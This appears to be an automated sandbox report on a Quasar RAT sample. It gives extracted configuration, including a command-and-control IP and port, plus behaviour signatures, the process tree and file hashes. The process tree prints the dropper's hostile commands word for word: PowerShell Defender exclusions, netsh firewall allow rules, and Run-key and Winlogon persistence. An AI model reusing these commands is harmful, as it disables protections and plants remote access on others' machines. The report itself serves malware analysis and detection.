Analysis

  • max time kernel
    134s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/08/2024, 23:29

General

  • Target
    544310e8eecf174d12952fd768e3fcdee05b2707266bfdaafbcdb2dbdaab310f.exe
  • Size 1.4MB
  • Sample240801-3gj3aasdkp
  • SHA256 544310e8eecf174d12952fd768e3fcdee05b2707266bfdaafbcdb2dbdaab310f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.3.0.0

Botnet
  • -

C2
  • 94.131.105.161:12344

Mutex
  • QSR_MUTEX_UEgITWnMKnRP3EZFzK

Attributes
  • encryption_key

    5Q0JQBQQfAUHRJTcAIOF

  • install_name

    lient.exe

  • log_directory

    Lugs

  • reconnect_delay

    3000

  • startup_key

    itartup

  • subdirectory

    SubDir

Signatures

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • ACProtect 1.3x - 1.4x DLL software 1 IoCs

    Detects file using ACProtect software.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 9 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 61 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\544310e8eecf174d12952fd768e3fcdee05b2707266bfdaafbcdb2dbdaab310f.exe
    "C:\Users\Admin\AppData\Local\Temp\544310e8eecf174d12952fd768e3fcdee05b2707266bfdaafbcdb2dbdaab310f.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3612
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1400
        • C:\Windows\SysWOW64\nslookup.exe
          nslookup myip.opendns.com. resolver1.opendns.com
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1416
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4624
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          wmic ComputerSystem get Domain
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2820
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:556
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3404
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2284
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4088
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4500
      • C:\Users\Admin\AppData\Local\Temp\7z.exe
        7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2696
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4416
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:5032
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:3604
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3684
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic computersystem where name="DRONQVFE" set AutomaticManagedPagefile=False
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:1528
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4300
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3752
        • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
          "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4892
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c ping 127.0.0.1 -n 9 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            PID:4472
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1 -n 9
              6⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:3580
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
              6⤵
              • Modifies WinLogon for persistence
              • System Location Discovery: System Language Discovery
              PID:2724
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c ping 127.0.0.1 -n 15 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 15 > nul && "C:\Users\Admin\Music\rot.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            PID:2352
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1 -n 15
              6⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:2756
        • C:\Windows\SysWOW64\attrib.exe
          "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:3952
      • C:\Windows\SysWOW64\reg.exe
        REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
        3⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        PID:3636
      • C:\Users\Admin\AppData\Local\Temp\ratt.exe
        "ratt.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:3028
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          PID:1668
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 10
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:3204
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
            5⤵
            • Modifies WinLogon for persistence
            • System Location Discovery: System Language Discovery
            PID:3836
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /c ping 127.0.0.1 -n 20 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 20 > nul && "C:\Users\Admin\Music\rot.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          PID:2680
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 20
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:3744
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 20
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:3468
          • C:\Users\Admin\Music\rot.exe
            "C:\Users\Admin\Music\rot.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4796
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
              6⤵
                PID:3504
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                6⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:2748

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 1KB
          • SHA256 b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
          • MD5 SHA1 SHA512

          ratt.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ratt.exe.log
          • Size 1KB
          • SHA256 30ea2f716e85f8d14a201e3fb0897d745a01b113342dfb7a9b7ac133c4ef150c
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 11KB
          • SHA256 5bf9a55e10d9530eb30fba3d3241e8a711f977757a40d468631816f0bb5a3b60
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 11KB
          • SHA256 ee1880b6115c89979de3a13c2f86cfad25ae5ebc92ea0810f53f52a8d1f97427
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 11KB
          • SHA256 24705fe9e1df3c287ed391ed2bfb2117f5f6085e3a54323e5120c2ccb25f4815
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 11KB
          • SHA256 e066fa0d9b95fa538c540041a67c20096edc981a43c3b9feeeb62466b276ee8e
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 11KB
          • SHA256 312a525a8f287f43c146b9190d9ab101904e13bf78d3bdcb6aaf1a624542a5db
          • MD5 SHA1 SHA512 SSDEEP

          7z.dll

          • Path C:\Users\Admin\AppData\Local\Temp\7z.dll
          • Size 328KB
          • SHA256 ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde
          • MD5 SHA1 SHA512 SSDEEP

          7z.exe

          • Path C:\Users\Admin\AppData\Local\Temp\7z.exe
          • Size 71KB
          • SHA256 ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea
          • MD5 SHA1 SHA512 SSDEEP

          Add.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\Add.ps1
          • Size 1KB
          • SHA256 c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_4ccjbfcr.mh5.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ccjbfcr.mh5.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          ratt.7z

          • Path C:\Users\Admin\AppData\Local\Temp\ratt.7z
          • Size 693KB
          • SHA256 069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff
          • MD5 SHA1 SHA512 SSDEEP

          ratt.bat

          • Path C:\Users\Admin\AppData\Local\Temp\ratt.bat
          • Size 1KB
          • SHA256 9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940
          • MD5 SHA1 SHA512

          memory/556-27-0x00000000063E0000-0x0000000006734000-memory.dmp

          memory/556-17-0x0000000006370000-0x00000000063D6000-memory.dmp

          memory/556-13-0x00000000033D0000-0x0000000003406000-memory.dmp

          memory/556-14-0x0000000005BA0000-0x00000000061C8000-memory.dmp

          memory/556-29-0x00000000069E0000-0x0000000006A2C000-memory.dmp

          memory/556-28-0x00000000069C0000-0x00000000069DE000-memory.dmp

          memory/556-15-0x0000000005B20000-0x0000000005B42000-memory.dmp

          memory/556-16-0x0000000006300000-0x0000000006366000-memory.dmp

          memory/2284-54-0x0000000005830000-0x0000000005B84000-memory.dmp

          memory/2696-86-0x0000000010000000-0x00000000100E2000-memory.dmp

          memory/2696-90-0x0000000000400000-0x0000000000432000-memory.dmp

          memory/2696-82-0x0000000000400000-0x0000000000432000-memory.dmp

          memory/2748-154-0x0000000006770000-0x00000000067AC000-memory.dmp

          memory/2748-153-0x0000000006330000-0x0000000006342000-memory.dmp

          memory/2748-151-0x0000000000400000-0x000000000045E000-memory.dmp

          memory/3028-140-0x0000000000260000-0x0000000000416000-memory.dmp

          memory/3404-42-0x00000000056A0000-0x00000000059F4000-memory.dmp

          memory/4088-62-0x0000000005D50000-0x00000000060A4000-memory.dmp

          memory/4416-107-0x0000000006A60000-0x0000000006A92000-memory.dmp

          memory/4416-128-0x0000000007A20000-0x0000000007A28000-memory.dmp

          memory/4416-121-0x00000000075C0000-0x00000000075DA000-memory.dmp

          memory/4416-122-0x0000000007610000-0x000000000761A000-memory.dmp

          memory/4416-123-0x0000000007A50000-0x0000000007AE6000-memory.dmp

          memory/4416-124-0x00000000079B0000-0x00000000079C1000-memory.dmp

          memory/4416-125-0x00000000079D0000-0x00000000079DE000-memory.dmp

          memory/4416-126-0x00000000079E0000-0x00000000079F4000-memory.dmp

          memory/4416-127-0x0000000007AF0000-0x0000000007B0A000-memory.dmp

          memory/4416-119-0x0000000007470000-0x0000000007513000-memory.dmp

          memory/4416-129-0x0000000007B60000-0x0000000007B82000-memory.dmp

          memory/4416-130-0x0000000008AE0000-0x0000000009084000-memory.dmp

          memory/4416-103-0x0000000005ED0000-0x0000000006224000-memory.dmp

          memory/4416-105-0x0000000006A10000-0x0000000006A5C000-memory.dmp

          memory/4416-108-0x00000000703B0000-0x00000000703FC000-memory.dmp

          memory/4416-120-0x0000000007EB0000-0x000000000852A000-memory.dmp

          memory/4416-118-0x0000000007450000-0x000000000746E000-memory.dmp

          memory/4796-148-0x0000000000420000-0x00000000005D6000-memory.dmp

          memory/4796-149-0x00000000075B0000-0x00000000075CA000-memory.dmp

          memory/4796-150-0x00000000075D0000-0x00000000075D6000-memory.dmp

          memory/4892-138-0x0000000004D80000-0x0000000004D8A000-memory.dmp

          memory/4892-137-0x0000000004B70000-0x0000000004BB6000-memory.dmp

          memory/4892-135-0x0000000004C70000-0x0000000004D02000-memory.dmp

          memory/4892-134-0x0000000004BD0000-0x0000000004C6C000-memory.dmp

          memory/4892-133-0x0000000000C80000-0x0000000000E36000-memory.dmp